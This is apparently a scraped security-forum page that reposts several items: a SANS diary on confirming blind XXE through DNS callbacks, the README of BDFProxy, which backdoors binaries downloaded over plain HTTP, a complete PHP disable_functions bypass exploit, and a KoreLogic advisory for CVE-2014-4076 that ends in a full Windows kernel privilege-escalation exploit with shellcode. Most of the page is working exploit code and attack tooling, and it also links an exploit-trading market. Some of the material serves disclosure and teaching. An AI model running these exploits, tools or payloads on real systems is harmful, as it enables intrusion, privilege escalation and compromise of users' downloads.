Scenarios, and How to Defend"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [/TABLE] POC will show you only technical, creative and very interesting topics. Fuck off, marketing and commercial presentation! Sursa: POC2015 - We Trust a Power Of Community

Nu e asa periculos de RCE. Dar e mare riscul de Denial of Service. E usor de crapat un Exim: 1337Day Agreement - 1337day Inj3ct0r Exploit Database : vulnerability : 0day : new exploits : buy and sell private exploit : shellcode by Inj3ct0r Team Cum sa patch-uiesti manual?

Blindly confirming XXE by Bojan Zdrnja (Version: 1) Almost exactly a year ago I posted a diary called “Is XXE the new SQLi?” – you can read it athttps://isc.sans.edu/diary/Is+XXE+the+new+SQLi/17375. In last year, the things have not changed a lot regarding XXE vulnerabilities. They still seem to be popping up here and there, depending on how XML documents are consumed by server side applications. Recently I had an interesting engagement where the server side web application consumed an XML document submitted by a user (through a web browser, in a POST HTTP request). Of course, whenever you see XML being used, you should always test for existence of XXE vulnerabilities since their impact can be quite serious – check the original diary – and can lead from Denial of Service attacks to disclosure of arbitrary files. In this specific case, however, the problem was that while the application processed the submitted XML document, it never outputted anything from the document: the application would only echo back if processing was successful or not. So the question that came in mind was on how to confirm if the target application was vulnerable to XXE or not? Sure, I could try to launch a DoS attack to see if it works or not, but since I was dealing with a semi-production system, this was not an option. Almost like blind SQL injection This case is very similar to blind SQL injection vulnerabilities: we can modify the input and while we cannot see the output directly, we can deduce what happened on the server side. Let’s see an example of how this can work with the following XML document, which is submitted originally: <DocumentLayer> <Document InternalID="1"> <DocumentPointer>Test</DocumentPointer> </Document> </DocumentLayer> Of course, in the real test the XML document was much more complex and had some logic for the backend application – keep in mind that this is just a simple example. In this particular case, the <DocumentPointer> element had to contain the string Test. So, similarly to a blind SQL injection vulnerability we can try modifying this element to see what happens: when I put any other string the processing on the server side failed. The XML document can now be extended as shown below to verify if an external entity will be processed: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe "Test"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> Simple! If this works, it means that we blindly confirmed that the XML processor on the server side used our reference to the xxe entity. Cool. The next step is to see if we can use external entities. However, again, since we cannot see the results of the XXE injection, it’s not all that simple. To make things more complex, the backend server is behind a firewall that does not let this machine connect directly to anything on the Internet. This stops us from using a SYSTEM external entity with a URL supplied. So is there any other way to confirm that external entities are supported? Probably yes – there is one protocol that is almost always allowed, in one sense or another: DNS. In this particular case, this means that we can craft external entity which will resolve to a domain name that we control – by checking DNS requests we can see if the entity was resolved correctly or not. In this case it does not matter if the backend server cannot access the Internet or not – in many cases it will be able to issue DNS requests (by using a local DNS recursive resolver), so we will see the request come from a different server: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe SYSTEM "http://thisdomaindoesnotexist.infigo.hr/test.txt"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> While this document will not be processed correctly (remember, the DocumentPointer element must contain the text string Test), the reference will be resolved by the XML processor and by observing the DNS traffic on DNS servers for our domain we will see a request for the submitted domain which will allow us to confirm that XXE’s are resolved by the target application. So, to wrap things up – we blindly confirmed the XXE vulnerability in the target application. While in this case our exploitation options are unfortunately limited “only” to DoS, it is worth noting that the vulnerability exists, and that it’s only a matter of time when it can be abused further, unless patched. -- Bojan @bojanz ?INFIGO IS Sursa: https://isc.sans.edu/diary/Blindly+confirming+XXE/19257

The Backdoor Factory Proxy (BDFProxy) v0.2 For security professionals and researchers only. NOW ONLY WORKS WITH MITMPROXY >= v.0.11 To install on Kali: apt-get update apt-get install bdfproxy DerbyCon 2014 Presentation: About 18 minutes in is the BDFProxy portion. Contact the developer on: IRC: irc.freenode.net #BDFactory Twitter: @Midnite_runr This script rides on two libraries for usage: The Backdoor Factory (BDF) and the mitmProxy. Concept: Patch binaries during download ala MITM. Why: Because a lot of security tool websites still serve binaries via non-SSL/TLS means. Here's a short list: sysinternals.com Microsoft - MS Security Essentials Almost all anti-virus companies Malwarebytes Sourceforge gpg4win Wireshark etc... Yes, some of those apps are protected by self checking mechanisms. I've been working on a way to automatically bypass NSIS checks as a proof of concept. However, that does not stop the initial issue of bitflipping during download and the execution of a malicious payload. Also, BDF by default will patch out the windows PE certificate table pointer during download thereby removing the signature from the binary. Depends: Pefile - most recent ConfigObj mitmProxy - Kali Build .10 BDF - most current Capstone (part of BDF) Supported Environment: Tested on all Kali Linux builds, whether a physical beefy laptop, a Raspberry Pi, or a VM, each can run BDFProxy. Install: BDF is in bdf/ Run the following to pull down the most recent: ./install.sh OR: git clone https://github.com/secretsquirrel/the-backdoor-factory bdf/ If you get a certificate error, run the following: mitmproxy And exit [Ctr+C] after mitmProxy loads. Usage: Update everything before each use: ./update.sh READ THE CONFIG!!! -->bdfproxy.cfg You will need to configure your C2 host and port settings before running BDFProxy. DO NOT overlap C2 PORT settings between different payloads. You'll be sending linux shells to windows machines and things will be segfaulting all over the place. After running, there will be a metasploit resource script created to help with setting up your C2 communications. Check it carefully. By the way, everything outside the [Overall] section updates on the fly, so you don't have to kill your proxy to change settings to work with your environment. But wait! You will need to configure your mitm machine for mitm-ing! If you are using a wifiPineapple I modded a script put out by hack5 to help you with configuration. Run ./wpBDF.sh and enter in the correct configs for your environment. This script configures iptables to push only http (non-ssl) traffic through the proxy. All other traffic is fowarded normally. Then: ./bdf_proxy.py Here's some sweet ascii art for possible phyiscal settings of the proxy: Lan usage: <Internet>----<mitmMachine>----<userLan> Wifi usage: <Internet>----<mitmMachine>----<wifiPineapple>))) Testing: Suppose you want to use your browser with Firefox and FoxyProxy to connect to test your setup. Update your config as follows: transparentProxy = None Configure FoxyProxy to use BDFProxy as a proxy. Default port in the config is 8080. Logging: We have it. The proxy window will quickly fill with massive amounts of cat links depending on the client you are testing. Use tail -f proxy.log to see what is getting patched and blocked by your blacklist settings. However, keep an eye on the main proxy window if you have chosen to patch binaries manually, things move fast and behind the scences there is multi-threading of traffic, but the intial requests and responses are locking for your viewing pleasure. Attack Scenarios (all with permission of targets): -Evil Wifi AP -Arp Redirection -Physical plant in a wiring closet -Logical plant at your favorite ISP Sursa: https://github.com/secretsquirrel/BDFProxy

PHP disable_functions procfs bypass [RU] $ php procfs_bypass.php [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org) [*] Trying to get open@plt offset in PHP binary [+] Address is 0xe94998 [*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so [*] Trying to get open and system symbols from Libc [+] Got it. Seeking for address in memory [*] open@plt addr: 0x7f150f86d150 [*] system@plt addr: 0x7f150f7c7530 [*] Rewriting open@plt address [+] Address written. Executing cmd uid=1000(beched) gid=1000(beched) ??????=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare <?php /* $libc_ver: beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so $open_php: beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$' 0000000000e94998 R_X86_64_JUMP_SLOT open $system_offset and $open_offset: beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@" 1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5 */ function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function unp($value) { return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } } echo " [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo " [*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo " [*] Libc location: $r[1]\n"; echo " [*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, $open_php); $open_addr = unp(fread($mem, 8)); echo ' [*] open@plt addr: 0x' . dechex($open_addr) . "\n"; $libc_start = $open_addr - $open_offset; $system_addr = $libc_start + $system_offset; echo ' [*] system@plt addr: 0x' . dechex($system_addr) . "\n"; echo " [*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { echo "[+] Address written. Executing cmd\n"; readfile('/usr/bin/id'); exit; } echo "[-] Write failed. Exiting\n"; Sursa: https://rdot.org/forum/showthread.php?t=3309

Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation [COLOR=#222222][FONT=Verdana]-----BEGIN PGP SIGNED MESSAGE-----[/FONT][/COLOR]Hash: SHA256 KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-001 Publication Date: 2015.01.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: TCP/IP Protocol Driver Affected Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 Architecture: x86, x64, Itanium Impact: Privilege Escalation Attack vector: IOCTL CVE-ID: CVE-2014-4076 2. Vulnerability Description The tcpip.sys driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL. 3. Technical Description By crafting an input buffer that will be passed to the Tcp device through the NtDeviceIoControlFile() function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges. This vulnerability was discovered while fuzzing the tcpip.sys driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL 0x00120028. This was performed on an x86 installation of Windows Server 2003, Service Pack 2. ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=???????? A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated. Let's begin by reviewing the call stack: kd> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo]) f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo]) f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo]) f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo]) f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo]) f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo]) f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo]) f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo]) f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) The nt!NtDeviceIoControlFile() function was called, creating a chain of subsequent function calls that eventually led to the tcpip!SetAddrOptions() function being called. By de-constructing the call to nt!NtDeviceIoControlFile() we can derive all required information to re-create this exception. 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!NtDeviceIoControlFile+0x2a: 808e912e 5d pop ebp kd> db [ebp+2C] L?0x4 b940dd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b940dd5c 00 00 00 00 .... kd> db [ebp+24] L?0x4 b940dd58 20 00 00 00 ... kd> db [ebp+20] L?0x4 b940dd54 00 11 00 00 .... kd> db [ebp+1c] L?0x4 b940dd50 28 00 12 00 (... kd> db [ebp+18] L?0x4 b940dd4c 58 4f bd 00 XO.. kd> db [ebp+14] L?0x4 b940dd48 00 00 00 00 .... kd> db [ebp+10] L?0x4 b940dd44 00 00 00 00 .... kd> db [ebp+0c] L?0x4 b940dd40 00 00 00 00 .... kd> db [ebp+8] L?0x4 b940dd3c b8 06 00 00 .... The inputBuffer for this call references memory at 0x1000 with a length of 0x20. kd> db 0x1100 L?0x20 00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................ 00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "............... After review of the tcpip.sys driver, some memory trickery was created to control the code flow until the instruction pointer could be controlled in a way that would be beneficial to an attacker. kd> db 0x28 L?0x11 00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............ 00000038 01 eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 0000002a ff ??? Since the instruction pointer now contains 0x0000002a, exploitation becomes trivial. Merely allocating the desired payload for execution at this memory address will allow for unprivileged users to run their payload within a privileged process. 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability, the details of which are presented in the vendor's public acknowledgment MS14-070 (https://technet.microsoft.com/library/security/MS14-070). 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft requests PoC. 2014.04.29 - KoreLogic resends PoC from the initial contact email. 2014.04.29 - Microsoft acknowledges receipt of vulnerability report. 2014.04.29 - Microsoft opens case 19010 (MSRC 0050929) to investigate the vulnerability. 2014.04.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.05.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgment of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - KoreLogic informs Microsoft that no response was received following the 06.11.14 email. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - Microsoft replies to KoreLogic that they have reproduced the vulnerability and are determining how to proceed with the supplied information. They are not able to provide a CVE or an expected disclosure date. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.17 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.08.18 - Microsoft notifies KoreLogic that they have a CVE but are not willing to share it with KoreLogic at this time. 2014.09.08 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.09.11 - Microsoft responds saying that the vulnerability is expected to be disclosed in "a Fall release" and that "it is currently looking good for October." Does not provide CVE. 2014.09.24 - Microsoft informs KoreLogic that there was a packaging issue and that the patch will be pushed to November. 2014.11.03 - Microsoft confirms the patch will ship in November. 2014.11.11 - Vulnerability publicly disclosed by Microsoft as issue MS14-070 with CVE-2014-4076. 2015.01.28 - KoreLogic releases advisory. 7. Exploit #!/usr/bin/python2 # # KL-001-2015-001 / MS14-070 / CVE-2014-4076 # Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation # Matt Bergin @ KoreLogic / Level @ Smash the Stack # shout out to bla # from optparse import OptionParser from subprocess import Popen from os.path import exists from struct import pack from threading import Thread from time import sleep from ctypes import * from sys import exit CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def spawn_process(path): process = Popen([path],shell=True) pid = process.pid return def main(): print "CVE-2014-4076 x86 exploit, Level\n" global pid, process parser = OptionParser() parser.add_option("--path",dest="path",help="path of process to start and elevate") parser.add_option("--pid",dest="pid",help="pid of running process to elevate") o,a = parser.parse_args() if (o.path == None and o.pid == None): print "[!] no path or pid set" exit(1) else: if (o.path != None): if (exists(o.path) != True): print "[!] path does not exist" exit(1) else: Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start() if (o.pid != None): try: pid = int(o.pid) except: print "[!] could not convert PID to an interger." exit(1) while True: if ("pid" not in globals()): sleep(1) else: print "[+] caught attacker cmd at %s, elevating now" % (pid) break buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00" sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid)) sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba") sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00") handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] could not open handle into the Tcp device" exit(1) print "[+] allocating memory" ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40) if (ret_one != 0): print "[!] could not allocate memory..." exit(1) print "[+] writing relevant memory..." ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0))) ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0))) ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0))) ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0))) ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0))) print "[+] attack setup done, crane kick!" DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0) CloseHandle(handle) exit(0) if __name__=="__main__": main() The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJUya/SAAoJEE1lmiwOGYkM1BIH/AznEH5nadamN6PSucr53QnH jj4P0ab+qtTIzToVXrxDvScSf7O7ZySOr9y3vvW2W+yfRknbrQCueu+8uLNzRFbr o8T4HB0Ahcy4XmI+9CVLoIQydo6nykciD1sRpVALo5UnCgzlcZn8MJB/2RCYNZJb CCqx7kuL+xxTmoQeCGUSy/Gy3sfvwVhwmsyiBxW7Y5v/xt2RgaYPaOAEjML6IHtY IrtHJQtVhdmXb+p9MaLi4D5WGDjydDG/yTmuZYRmBc+k6B7TiaFfzXX/1ecVLVn9 FmQFy0qa7fQWty4e39/0d0yqw4nUn/1saDpSgmrlox6ZkZYaapTRF/sNcExcY54= =1+YJ [COLOR=#222222][FONT=Verdana]-----END PGP SIGNATURE-----[/FONT][/COLOR] Sursa: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt